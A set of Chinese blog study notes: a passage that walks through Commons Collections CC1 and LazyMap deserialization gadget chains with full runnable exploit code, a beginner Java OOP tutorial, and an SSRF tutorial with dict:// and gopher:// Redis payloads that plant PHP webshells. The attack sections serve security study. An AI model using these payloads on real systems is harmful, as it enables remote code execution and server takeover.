	// 遍历 TransformedMap 的条目，并设置新的值
	// 在这个过程中，invokerTransformer 会被触发
	for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
	entry.setValue(v);
	}

	}
	}

# AnnotationInvocationHandler 类

继续找不同名调用了 setValue 最好是 readObject 中调用了 setValue 这样就少走一层

在 AnnotationInvocationHandler 类中的 readObject 调用了 setValue

并且在 readObject 中也遍历了 Map

接着找哪里是可以控制的，在 AnnotationInvocationHandler 的构造函数中有两个参数 type 和 mapmemberValues 是我们可以控制的所以就可以把 invokerTransformer 传进去

但是 AnnotationInvocationHandler 是默认的不是 public 所以只能在包下面访问

所以我们要通过反射获取

	public class Ming {
	public static void main(String[] args) throws Exception {
	// 获取运行时对象
	Runtime v= Runtime.getRuntime();

	// 创建 InvokerTransformer，它将调用指定的方法
	// "exec" 方法名
	//new Class []{String.class} 方法参数类型
	//new Object []{"calc"} 方法参数值
	InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

	// 以下步骤就相当于 invokerTransformer. (v)
	// 创建一个 HashMap，并插入一个键值对
	HashMap<Object, Object> map=new HashMap<>();
	map.put("key", "value");

	// 使用 TransformedMap 装饰 HashMap，值的转换器为 invokerTransformer
	Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,invokerTransformer);

	Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
	// 反射获取 AnnotationInvocationHandler 类
	// 获取构造方法
	Constructor annoconstructor = c.getDeclaredConstructor(Class.class,Map.class);
	annoconstructor.setAccessible(true);// 设置构造方法为可访问
	// 创建 AnnotationInvocationHandler 实例
	Object annotation = annoconstructor.newInstance(Override.class,transformedMap);

	Xu.x(annotation);// 序列化
	Fan.fan("test.bin");// 反序列化

	}

到这里还有一些问题

第一就是我们的 Runtime 并没有继承序列化，他是不可以序列化的

每个 InvokerTransformer 负责调用一个方法：

第一个 InvokerTransformer ：
- 方法名： getMethod
- 参数类型： String.class 和 Class[].class
- 参数值： "getRuntime" 和 null
- 它的作用是获取 Runtime 类的 getRuntime 方法。
第二个 InvokerTransformer ：
- 方法名： invoke
- 参数类型： Object.class 和 Object[].class
- 参数值： null 和 null
- 它的作用是调用 getRuntime 方法，从而获取 Runtime 实例。
第三个 InvokerTransformer ：
- 方法名： exec
- 参数类型： String.class
- 参数值： "calc"
- 它的作用是调用 Runtime 实例的 exec 方法，执行系统命令 calc （打开计算器）。
ChainedTransformer 将多个 Transformer 链接在一起，使它们可以依次执行。

	Transformer[] transformers = new Transformer[]{
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
	};
	ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
	chainedTransformer.transform(Runtime.class);

第二是 readObject 方法中有两个 if 判断，我们需要满足两个 if 判断才能成功执行 serValue 方法

调试一下

获取 type 也就是 Override

然后获取了他的成员变量但是 Override 并没有成员变量所以第一个 if 判断后直接跳出去了

可以把 Override 改成 @Target 他是有值的

把这里改成 value

这样就进到了第二个 if

现在带最后一步就可命令执行了

跟到

在这 valueTransformer.transform (value); 我们需要将 value 改为 Runtime.class

但是他现在不是我们想要的 Runtime.class

所以 Transformer 中加入 new ConstantTransformer (Runtime.class) 确保是我们想要的

ConstantTransformer 是 Apache Commons Collections 库中的一个类，它实现了 Transformer 接口。 Transformer 接口用于将一种类型的对象转换为另一种类型的对象，而 ConstantTransformer 则是一个特例，它始终返回一个常量值，而不管输入值是什么。

最后的代码为

	package cc;

	import org.apache.commons.collections.FunctorException;
	import org.apache.commons.collections.Transformer;
	import org.apache.commons.collections.functors.ChainedTransformer;
	import org.apache.commons.collections.functors.ConstantTransformer;
	import org.apache.commons.collections.functors.InvokerTransformer;
	import org.apache.commons.collections.map.TransformedMap;

	import javax.xml.ws.spi.Invoker;
	import java.io.IOException;
	import java.lang.annotation.Target;
	import java.lang.reflect.Constructor;
	import java.lang.reflect.InvocationTargetException;
	import java.lang.reflect.Method;
	import java.util.HashMap;
	import java.util.Map;

	public class Ming {
	public static void main(String[] args) throws Exception {


	Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(Runtime.class),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
	};
	ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);



	// 创建一个 HashMap，并插入一个键值对
	HashMap<Object, Object> map=new HashMap<>();
	map.put("value", "value");

	// 使用 TransformedMap 装饰 HashMap，值的转换器为 invokerTransformer
	Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer);

	Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
	// 反射获取 AnnotationInvocationHandler 类
	// 获取构造方法
	Constructor annoconstructor = c.getDeclaredConstructor(Class.class,Map.class);
	annoconstructor.setAccessible(true);// 设置构造方法为可访问
	// 创建 AnnotationInvocationHandler 实例
	Object annotation = annoconstructor.newInstance(Target.class,transformedMap);

	Xu.x(annotation);// 序列化
	Fan.fan("test.bin");// 反序列化

	}
	}

# LazyMap

从 InvokerTransformer 找调用的时候 LazyMap 的 get 方法也调用了 Transformer

在 get 方法中调用了 factory.transform ，factory 也是可以控制的类型是 Transformer

里面还有两个 decorate 方法其中一个可以传入 Transformer 类型，这样我们就可以传入我们前面写的 transformer 到 factory

接着在 get 方法中调用了 factory.transform

这里是有条件的，在 get 方法中的 if 方法，如果有 key 就直接返回，如果没有就使用 factory 对象创建一个新的 value 并存入 map 中，所以要确保没有 key

	public Object get(Object key) {
	// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
	Object value = factory.transform(key);
	map.put(key, value);
	return value;
	}
	return map.get(key);
	}

先把 transformers 传进去

	public class CC6 {
	public static void main(String[] args) {
	Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(Runtime.class),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
	};
	ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

	HashMap<Object, Object> map=new HashMap<>();
	Map<Object, Object> LzMap = LazyMap.decorate(map,chainedTransformer);


	}
	}

现在找谁的 readObject 调用了 get

在 ysoSerial 写出了是 AnnotationInvocationHandler 里面

AnnotationInvocationHandler 中的 invoke 中的 memberValues 调用了 get 并且可控，在动态代理中只要在外面调用了任何方法就会调用 invoke，这样就可以让他走到 memberValues.get

在 if 判断中调用 equals 就会直接 return，并且如果参数不是 0 就会异常所以还要调用一个无参的方法才能走到 memberValues

最后代码为

	package cc;

	import org.apache.commons.collections.Transformer;
	import org.apache.commons.collections.functors.ChainedTransformer;
	import org.apache.commons.collections.functors.ConstantTransformer;
	import org.apache.commons.collections.functors.InvokerTransformer;
	import org.apache.commons.collections.map.LazyMap;
	import org.apache.commons.collections.map.TransformedMap;

	import java.lang.reflect.Constructor;
	import java.lang.reflect.InvocationHandler;
	import java.lang.reflect.Proxy;
	import java.util.HashMap;
	import java.util.Map;

	public class CC6 {
	public static void main(String[] args) throws Exception {
	Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(Runtime.class),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
	};
	ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


	HashMap<Object, Object> map=new HashMap<>();
	Map<Object, Object> LzMap = LazyMap.decorate(map,chainedTransformer);

	Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
	Constructor aitc = c.getDeclaredConstructor(Class.class, Map.class);
	aitc.setAccessible(true);
	InvocationHandler a = (InvocationHandler) aitc.newInstance(Override.class,LzMap);

	Map proxy1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, a);
	Object proxy2 = aitc.newInstance(Override.class,proxy1);
	Xu.x(proxy2);
	Fan.fan("test.bin");

	}
	}

# CC6 链

在 jdk8u71 版本后 cc1 就不可用了

CC6 没有 jdk 版本限制

CC6 = CC1 + URLDNS

根据 cc1 的半条链继续找谁调用了 LazyMap 的 get，在 ysoSerial 的 cc6 中写的是 getValue() 方法调用了 LazyMap 的 get() 方法

2024-06-21T05:17:31.867Z

# java 面向对象

# 类定义对象创建

创建一个 cat 类

	public class Cat {
	int age ;
	String name;
	}

创建一个对象，关键字 new

public class Main {
    public static void main(String[] args) {
        Cat cat1 = new Cat();
        cat1.name = "Tom";
        cat1.age = 5;
        System.out.println("小猫的名字叫: " + cat1.name + " 它今年: " + cat1.age + "岁");
    }
}

# 方法的创建

其实方法就是个函数格式为；数据类型方法名 {

} 数据类型可以是 int String 也可以是 void - 这意味着该方法不返回任何值

	public class Ren {
	int age ;
	String name;
	void hello() {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	}
	// 方法调用
	public class Main {
	public static void main(String[] args) {
	Ren ren1 = new Ren();
	ren1.name = "Tom";
	ren1.age = 12;
	ren1.hello();
	Ren ren2 = new Ren();
	ren2.hello();
	}
	}

# 方法的参数

return 方法结束返回结果 return 后的语句不在执行

	public class Ren {
	int age ;
	String name;
	void hello(name) {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	}

# 方法重载

	// 当前 sum 方法是 int 类型，如果参数传入的是小数就会报错
	public class Ren {
	int age ;
	String name;
	void hello() {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	int sum (int a , int b) {
	return a + b;
	}
	}

	// 这时就要用到方法重载，当输入小数时就会自动匹配到 double 类型
	public class Ren {
	int age ;
	String name;
	void hello() {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	int sum (int a , int b) {
	return a + b;
	}
	double sum (double a , double b) {
	return a + b;
	}
	}
	// 通过重载就可以让同一个名字的方法接收多种类型的参数
	public class Main {
	public static void main(String[] args) {
	Ren ren1 = new Ren();
	ren1.hello();
	System.out.println(ren1.sum(199.9,122.2));
	}
	}

# this 关键字

# 构造方法

在 Java 中，每个类都有它的构造函数，当类的对象被创建时，该构造函数将被自动调用。构造函数类似于方法，但实际上它不是方法。

默认自带一个构造方法

构造方法在 new 时会自动执行

使用构造方法的好处

初始化对象： 构造方法可以确保所有对象在创建时都有一个有效的初始状态。
多态性： 可以通过重载构造方法（即定义多个构造方法）来支持不同的初始化方法。
封装性： 构造方法可以强制用户在创建对象时提供必要的信息，这有助于确保对象始终处于有效状态。

	// 构造方法名称要和类名完全一致
	public class Ren {
	int age = 18;
	String name = "未知";
	void hello() {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	int sum (int a , int b) {
	return a + b;
	}
	double sum (double a , double b) {
	return a + b;
	}
	// 有参数构造方法
	public Ren(String name, int age) {
	this.age = age;
	this.name = name;

	}
	// 无参数构造方法
	Ren() {

	}
	}

	public class Main {
	public static void main(String[] args) {
	Ren ren1 = new Ren();// 匹配无参构造函数
	// ren1.hello();
	// System.out.println(ren1.sum(199.9,122.2));
	System.out.println(ren1.name);
	Ren ren2 = new Ren("Jane", 20);// 匹配有参构造函数
	System.out.println(ren2.name);
	}
	}
	// 输出
	未知
	Jane

有参构造方法

	// 有参数构造方法
	public Ren(String name, int age) {
	this.age = age;
	this.name = name;

	}

无参构造方法

	// 无参数构造方法
	Ren() {

	}

构造方法的多态性

当我们写一个有参的构造方法覆盖了默认的构造方法，如果 new 时不给参数会报错，可以通过重载构造方法构造一个没有参数的构造方法

这样在 new 时没有参数就会自动匹配无参构造方法，有参数时就会自动匹配有参构造方法

# 代码块

在类中添加代码块，他会在对象构造时执行一次，他会在变量初始化后执行在构造方法前面执行，变量初始化–> 代码块 —> 构造方法

	public class Main {
	public static void main(String[] args) {
	Ren ren1 = new Ren();
	// ren1.hello();
	// System.out.println(ren1.sum(199.9,122.2));
	System.out.println(ren1.name);
	Ren ren2 = new Ren("Jane", 20);
	System.out.println(ren2.name);
	}
	}
	class Ren {
	int age = 18;
	String name = "未知";
	{
	System.out.println("我是构造代码块");
	}
	void hello() {
	System.out.println("我叫" + name + " 我今年 " + age + " 岁了。");
	}
	int sum (int a , int b) {
	return a + b;
	}
	double sum (double a , double b) {
	return a + b;
	}
	public Ren(String name, int age) {
	this.age = age;
	this.name = name;
	}
	public Ren() {
	System.out.println("我是默认构造方法");
	}

	}

# 静态变量静态方法

在 Java 中，静态方法和静态变量是与类相关的成员，而不是与类的实例相关的成员。它们由 static 关键字修饰。

# 静态变量

静态变量（或类变量）是属于类的，而不是属于类的某个实例的。所有实例共享同一个静态变量。这意味着，如果静态变量在一个实例中被修改，则所有实例中的该变量都会反映这一变化。

	public class Cat {
	static String name;
	}

	public class Main {
	public static void main(String[] args) {
	Cat cat1 = new Cat();
	Cat cat2 = new Cat();
	cat1.name = "Tom";
	System.out.println(cat2.name);// 这里将会打印出 Tom，因为 cat1.name = "Tom" 改变的是类里面的而不是 cat1 里面的，所有其他实例中的 name 变量都会改变

	}
	}
	// 这样调用会提示警告，通过实例引用访问 static 成员 'Cat.name' ，因为静态变量可以直接用 Cat.name 调用而不需要通过实例调用
	public class Main {
	public static void main(String[] args) {
	Cat.name = "Tom";
	System.out.println(Cat.name);

	}
	}

静态方法

静态方法同理并不需要实例去调用因为他是属于类的而不是实例的

	public class Cat {
	static String name;
	static void pao() {
	System.out.println("跑步");
	}
	}


	public class Main {
	public static void main(String[] args) {

	Cat.name = "Tom";
	System.out.println(Cat.name);
	Cat.pao();

	}
	}
	// 返回
	Tom
	跑步
	// 在静态方法中不可以调用非静态变量和非静态方法，成员变量是某个具体对象拥有的属性，就像小明这个具体的人的名字才叫小明，而静态方法是类具有的，并不是具体对象的，肯定是没办法访问到的。同样的，在静态方法中，无法使用 this 关键字，因为 this 关键字代表的是当前的对象夺身。

# 包和访问控制

包其实就是用来区分类位置的东西，也可以用来将我们的类进行分类（类似于 C++ 中的 namespace) 随着我们的程序不断变大，可能会创
建各种各样的类，他们可能会做不同的事情，那么这些类如果都放在一起的话，有点混乱，我们可以通过包的形式将这些类进行分类存
放。
包的命名规则同样是英文和数字的组合，最好是一个域名的格式，比如我们经常访问的 www.baidu.com, 后面的 paidu.com 就是域名
我们的包就可以命名为 com.baidu, 当然，各位小伙伴现在还没有自己的域名，所以说我们随便起一个名称就可以了。其中的・就是用
于分割的，对应多个文件夹，比如 com.test:

	// 在包中的类要指明自己属于哪个包比如 Cat 类在 com.test 包里就要用到 package 关键字写明
	package com.test;// 指明自己在 com.test 包中

	public class Cat {
	public String name;
	public void pao() {
	System.out.println("跑步");
	}
	}
	// 包外面的要引用 Cat 类的话就要用 import 导入 com.test.Cat 也就是 com 文件夹下的 test 文件夹里的 Cat 类，也可以使用 * 表示导入这个包中的所有类
	import com.test.Cat;

	public class Main {
	public static void main(String[] args) {

	Cat cat1 = new Cat();
	Cat cat2 = new Cat();
	cat1.name = "Tom";
	System.out.println(cat1.name);
	Cat cat3 = new Cat();
	cat3.pao();
	System.out.println(Cat.a);
	}
	}

访问权限控制

实际上 Jva 中是有访问权限控制的，就是我们个人的隐私的哑样，我不允许别人随便来查看我们的隐私，只有我们自己同意的情况下，才
能告诉别人我们的名字、年龄等隐私信息。
所以说 Jva 中引入了访问权限控制（可见性），我们可以为成员变量、成员方法、静态变量、静态方法甚至是类指定访问权限，不同的访
问权限，有着不同程度的访问限制：
・private~ 私有，标记为私有的内容无法被除当前类以外的任何位置访问。
什么都不写・默认，默认情况下，只能被类本身和同包中的其他类访问。
protected - 受保护，标记为受保护的内容可以能被类本身和同包中的其他类访问，也可以被子类访问（子类我们会在下一章介
绍)
public - 公共，标记为公共的内容，允许在任何地方被访问。
这四种访问权限，总结如下表：

	当前类	同一个包下的类	不同包下的子类	不同包下的类
public 公共	√	√	√	√
protected 受保护	√	√	√	×
默认	√	√	×	×
private 私有	√	×	×	×

# 类的封装

封装的优点

提高代码的可维护性：通过隐藏内部实现细节，外部代码不会直接依赖于类的内部实现，从而可以自由地修改类的内部而不影响外部代码。
增强安全性：通过访问控制，可以防止外部代码随意修改对象的内部状态，确保对象状态的有效性和一致性。
提高代码的复用性：通过提供清晰的接口，类可以被重复使用而不需要了解其内部实现。

就相当于一台电视里面的电子原件电线啥的都给封装起来了，你看到的只有屏幕输出给你的画面至于怎么有的画面是不给你看的

Java 中的封装实现

定义类的属性为 private

这将确保属性不能被类的外部直接访问和修改。

提供公共的 getter 和 setter 方法

这些方法用于获取和设置属性的值，通常被定义为 public ，以便类的使用者可以通过这些方法访问和修改属性。

使用构造方法初始化对象

构造方法可以用来初始化对象的状态，确保对象在创建时处于有效的状态。

	// 在此类中 age 和 name 都用了 private 私有其他任何人不可访问
	package com.test;
	// 类
	public class Per {
	// 私有变量
	private int age;
	private String name;

	// 通过创建一个公共方法让外部可访问私有 age
	public int getAge() {
	return age;
	}
	// 通过创建一个公共方法让外部可操作私有 age
	public void setAge(int age){
	this.age = age;

	}
	public String getName() {
	return name;
	}
	public void setName(String name) {
	this.name = name;
	}
	}
	// 实例化对象时想查看 name 只能通过 getName 获取不可再用 per.name 因为在 Per 中 name 是私有的，只可以通过公共的 getAge 方法访问到
	package com.test;

	public class Main {
	public static void main(String[] args) {
	Per per = new Per();
	per.setName("Tom");
	per.setAge(100);
	System.out.println(per.getName());
	System.out.println(per.getAge());
	}
	}
	// 增加判断
	package com.test;
	// 类
	public class Per {
	// 私有变量
	private int age;
	private String name;
	// 构造方法

	// 通过创建一个公共方法让外部可访问私有 age
	public int getAge() {
	return age;
	}
	public void setAge(int age){// 判断输入年龄是否合法
	if (age < 0 \|\| age > 100 ){
	this.age = 3;
	}
	else{
	this.age = age;
	}

	}
	public String getName() {
	return name;
	}
	public void setName(String name) {
	this.name = name;
	}

	}

封装通过将对象的状态和行为结合在一起，并提供对外的访问接口，提高了代码的可维护性、安全性和复用性。在 Java 中，封装主要通过将属性定义为 private 并提供 public 的 getter 和 setter 方法来实现。

# 类继承

就是在一个大类中比如狗类，他的子类可以是导盲犬，警犬等，子类可以继承父类中的方法和变量除了 private 私有和默认，默认在同一个包下也可以继承，关键字 extends 格式为 public class 子类名 extends 父类名

	package cn.dog;
	//Dog 类
	public class Dog {
	int age;
	String name = "小黑";
	String color;
	void action(){
	System.out.println(name+"在玩耍");
	}
	}

	package cn.dog;
	// 警犬类继承了 Dog 类中的 name 变量和 action 方法，可以直接调用父类中的变量和方法
	public class Policedog extends Dog {
	public void ming() {
	System.out.println("小狗的名字叫：" + name);
	action();
	}
	}

父类中有构造函数时子类也要使用如果子类没有使用则会报错

	// 父类
	package cn.dog;

	public class Dog {
	int age;
	String name = "小黑";
	String color;
	void action(){
	System.out.println(name+"在玩耍");
	}
	public Dog(int age, String name, String color) {// 父类构造函数
	this.age = age;
	this.name = name;
	this.color = color;
	}
	}

	// 子类，super 表示父类的构造函数
	package cn.dog;

	public class Policedog extends Dog {
	public Policedog(int age, String name, String color) {// 也必须要有
	super(age, name, color);
	}

	public void ming() {
	System.out.println("小狗的名字叫：" + name);
	action();
	}
	}

子类可以定义与父类同名属性

	// 子类里面的 ming 方法里面的 name 会变成离他最近的 name 也就是 Policedog 里面定义的 name，他没有值所以就会为空了
	package cn.dog;

	public class Policedog extends Dog {
	String name;
	public Policedog(int age, String name, String color) {
	super(age, name, color);
	}


	public void ming() {
	System.out.println("小狗的名字叫：" + name);
	action();
	}
	}
	// 返回小狗的名字叫：null
	// 小红在玩耍
	// 如果想要 name 属性是父类的 name 可以使用关键字 super.name 说明这个属性来自父类
	package cn.dog;

	public class Policedog extends Dog {
	String name;
	public Policedog(int age, String name, String color) {
	super(age, name, color);
	}


	public void ming() {
	System.out.println("小狗的名字叫：" + super.name);
	action();
	}
	}
	// 小狗的名字叫：小红
	// 小红在玩耍

# Object 类

Object 类是顶级类所有类的祖宗，所有类继承于他

# 方法的重写

注意方法的重写跟重载是不一样的，重写是覆盖掉父类的方法让它变成我们想要的逻辑

比如 Object 类中的 equals 它是用来判断是不是一个对象

	//equals 方法
	public boolean equals(Object obj) {
	return (this == obj);
	}

	// 没有从写之前 dog1 和 dog2 这两个肯定不是一个对象所以返回 false
	package cn.dog;

	public class Main {
	public static void main(String[] args) {
	Policedog dog1 = new Policedog(20 , "小红","红色");
	Policedog dog2 = new Policedog(20 , "小红","红色");
	System.out.println(dog1.equals(dog2));
	}
	}
	// 方法重写
	package cn.dog;

	public class Dog {
	int age;
	String name;
	String color;
	void action(){
	System.out.println(name+"在玩耍");
	}
	public Dog(int age, String name, String color) {
	this.age = age;
	this.name = name;
	this.color = color;
	}
	@Override
	public boolean equals(Object obj) {
	if(obj == null) return false;
	if(obj instanceof Dog dog) {
	return age == dog.age && name.equals(dog.name) && color.equals(dog.color);
	}
	return false;
	}
	}

	// 重写以后判断将以我们重写的 equals 逻辑比较
	package cn.dog;

	public class Main {
	public static void main(String[] args) {
	Policedog dog1 = new Policedog(20 , "小红","红色");
	Policedog dog2 = new Policedog(20 , "小红","红色");
	System.out.println(dog1.equals(dog2));
	}
	}
	返回true
	// 除了 Object 类中的方法可以重写在其他父类的方法也都可以重写，父类的 ja 方法是加法
	package cn.dog;

	public class Dog {
	int age;
	String name;
	String color;
	void action(){
	System.out.println(name+"在玩耍");
	}
	public Dog(int age, String name, String color) {
	this.age = age;
	this.name = name;
	this.color = color;
	}
	@Override
	public boolean equals(Object obj) {
	if(obj == null) return false;
	if(obj instanceof Dog dog) {
	return age == dog.age && name.equals(dog.name) && color.equals(dog.color);
	}
	return false;
	}
	public void ja(int a, int b){
	System.out.println(a+b);
	}
	}
	// 在子类中重写为乘法
	package cn.dog;

	public class Policedog extends Dog {
	String name;
	public Policedog(int age, String name, String color) {
	super(age, name, color);
	}


	public void ming() {
	System.out.println("小狗的名字叫：" + super.name);
	action();
	}
	@Deprecated
	public void ja(int a, int b){
	System.out.println(a*b);
	}
	}

基于这种方法可以重写的特性，对于一个类定义的行为，不同的子类可以出现不同的行为，比如考试，学生考试可以得到 A，而工人去考试只能得到 D：

	public class Person {
	...

	public void exam(){
	System.out.println("我是考试方法");
	}

	...
	}

	public class Student extends Person{
	...

	@Override
	public void exam() {
	System.out.println("我是学生，我就是小镇做题家，拿个 A 轻轻松松");
	}
	}

	public class Worker extends Person{
	...

	@Override
	public void exam() {
	System.out.println("我是工人，做题我并不擅长，只能得到 D");
	}
	}

如果不想子类重写可以加上 final 关键字表示最终形态不可更改

	public final void ja(int a, int b){
	System.out.println(a+b);

final 关键字还可以用在类和属性上，用在类上表示不可继承

# 抽象类

在 Java 中，抽象类（abstract class）是一种特殊的类，它不能被实例化，但可以被其他类继承。抽象类通常用来定义一个通用的基类，为子类提供模板，并可以包含具体实现的部分。

# 抽象类的特点

抽象方法：抽象类可以包含抽象方法（没有实现的方法），这些方法必须在子类中实现。
具体方法：抽象类也可以包含具体方法（已经实现的方法），子类可以直接继承或重写这些方法。
构造方法：抽象类可以有构造方法，但不能直接实例化。
成员变量：抽象类可以包含成员变量，可以被子类继承和使用。

使用抽象类的场景
1. 统一接口：当你希望不同的子类有统一的接口（方法）时，可以使用抽象类。
2. 代码重用：将共有的代码放在抽象类中，减少重复代码。
3. 提供模板：为子类提供一个模板，让子类实现特定的功能。
# 注意事项
1. 抽象类不能被实例化。
2. 子类必须实现所有的抽象方法，除非子类也是抽象类。
3. 抽象类可以包含具体方法，子类可以选择继承或重写这些方法。

	// 使用 abstract 关键字定义抽象类和抽象方法。例如：
	// 抽象父类
	package cn.dog;

	public abstract class Cou {
	public abstract void eat();// 抽象方法
	public abstract void sleep();
	public abstract void run();
	}
	// 子类实现所有抽象方法
	package cn.dog;

	public class Cou2 extends Cou {

	public void eat() {
	System.out.println("小狗在吃饭");
	}

	public void run() {
	System.out.println("小狗在跑");
	}

	public void sleep() {
	System.out.println("小狗在睡觉");
	}
	}
	//----------------------------------------
	package cn.dog;

	public class Cou3 extends Cou {

	public void sleep() {
	System.out.println("小猫在睡觉");
	}

	public void eat() {
	System.out.println("小猫在吃东西");

	}

	public void run() {
	System.out.println("小猫在跑");
	}
	}

接口

定义一个接口

	//play 接口 interface 定义接口
	package cn.dog;

	public interface play {
	void play();
	}
	// 引用接口 implements，和抽象类一样如果引用了这个接口就要实现里面的所有抽象方法不然报错
	package cn.dog;

	public class Cou3 extends Cou implements play {

	public void sleep() {
	System.out.println("小猫在睡觉");
	}

	public void eat() {
	System.out.println("小猫在吃东西");

	}

	public void run() {
	System.out.println("小猫在跑");
	}
	public void play() {
	System.out.println("小猫在玩耍");
	}
	}

多接口

	// 多个接口用逗号隔开
	package cn.dog;

	public class Cou3 extends Cou implements Play,Learn {

	public void sleep() {
	System.out.println("小猫在睡觉");
	}

	public void eat() {
	System.out.println("小猫在吃东西");

	}

	public void run() {
	System.out.println("小猫在跑");
	}
	public void play() {
	System.out.println("小猫在玩耍");
	}
	public void learn() {
	System.out.println("小猫在学习");
	}
	}

接口也可继承

# 内部类

	// 成员内部类可以调用私有的外部类中的属性
	package cn.dog;

	public class Wai {
	private String name = "admin";
	public void wai(){
	System.out.println("外部类的方法");
	}
	public class Nei {
	public void nei(){
	System.out.println("内部类的方法");
	}
	public void getName(){
	System.out.println(name);// 外部类私有属性
	}
	}

	}
	// 实例化内部类
	package cn.dog;

	public class Main {
	public static void main(String[] args) {
	Wai wai = new Wai();
	wai.wai();
	Wai.Nei nei = wai.new Nei();
	nei.nei();
	nei.getName();
	}
	}
	// 静态内部类，静态内部类不可调用外部类的私有属性方法
	package cn.dog;

	public class Wai {
	public void wai(){
	System.out.println("外部类的方法");
	}
	public static class Nei {
	public void nei(){
	System.out.println("内部类的方法");
	}
	}

	}
	//
	package cn.dog;

	public class Main {
	public static void main(String[] args) {
	Wai wai = new Wai();
	wai.wai();
	Wai.Nei nei = new Wai.Nei();
	nei.nei();
	}
	}
	// 一个 java 文件中只能有一个 public class 但是可以有多个 class

ssrf漏洞

2024-05-08T05:42:20.000Z

# ssrf

SSRF 漏洞的原理：

SSRF 漏洞的形成大多是因为服务端提供了从其他服务器应用获取数据的功能，并且没有对目标地址进行正确的过滤和限制。
例如，许多 web 应用提供了从指定 URL 获取网页文本内容、加载指定地址的图片、下载文件、读取文件内容等功能。
攻击者可以利用这些功能，篡改获取资源的请求发送给服务器，然后服务器以自己的身份来访问其他资源

主要攻击方式有

探测内网信息，例如开放的端口指纹识别，扫描网段里的主机
利用 file 协议读取服务器本地的敏感文件，还有一些其他伪协议
攻击内网运行的服务比如 mysql，redis 服务器，如果对方 redis 服务器有未授权但是只允许本地登录执行，就可以利用 ssrf 进行攻击

SSRF 常用的伪协议

# 演示

例如碰见这样一个网站 url=http://www.baidu.com 去请求了其他网址，我们就可以测试是否可以请求本地输入 http://127.0.0.1

是可以访问到的

# FILE 协议

file://：用于读取本地文件系统中的文件，可以用来获取敏感信息。

确认可以访问内网是我们可以用 file 协议读取本地的敏感文件，比如 linux 的 passwd 文件啊 file:///etc/passwd hosts 文件

# dict 协议

端口扫描：攻击者可以尝试使用 Dict 协议来查询词典服务的状态信息，以探测目标主机上的开放端口。

利用 dict 探测内网端口服务信息也可以用来攻击例如 redis 未授权

当探测到内网 6379 端口开放时可以尝试是否存在未授权

# 利用 redis 未授权配合 dict 协议写 webshell

上面探测到内网的 109 主机是有 web 服务的我们就可以更改 redis 备份保存文件的路径和保存文件的名字在网站目录写入 webshell

	dict://192.168.0.109:6379/config get dir #探测备份文件路径
	dict://192.168.0.109:6379/config get dbfilename #探测文件名
	dict://192.168.0.109:6379/config set dir /var/www/html #更改路径为网站目录
	dict://192.168.0.109:6379/config set dbfilename webshell.php #更改保存后的文件名
	#接着写入一句话
	#注意传进去会被转义会报错，可以使用十六进制 ASCII 码表示
	dict://192.168.0.109:6379/set she "\n\n\<?php @eval($_POST[\'shell\']); ?>\n\n"
	dict://192.168.0.109:6379/set she
	"\x5cn\x5cn\x5c\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x68\x65\x6c\x6c\x27\x5d\x29\x3b\x20\x3f\x3e\x5cn\x5cn"
	dict://192.168.0.109:6379/save #备份文件
	接着蚁剑连接即可

# 利用 redis 未授权配合 gopher 协议

在 Gopher 中，我们无法直接执行 Redis 命令，因为 Gopher 协议的目的是用来检索文档而不是与键值存储系统交互。但我们可以尝试模拟一个 SET 操作，将文本数据发送给目标服务器。

gopher 协议手写太麻烦了可以利用 Gopherus 工具直接生成

项目地址 https://github.com/tarunkant/Gopherus

_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

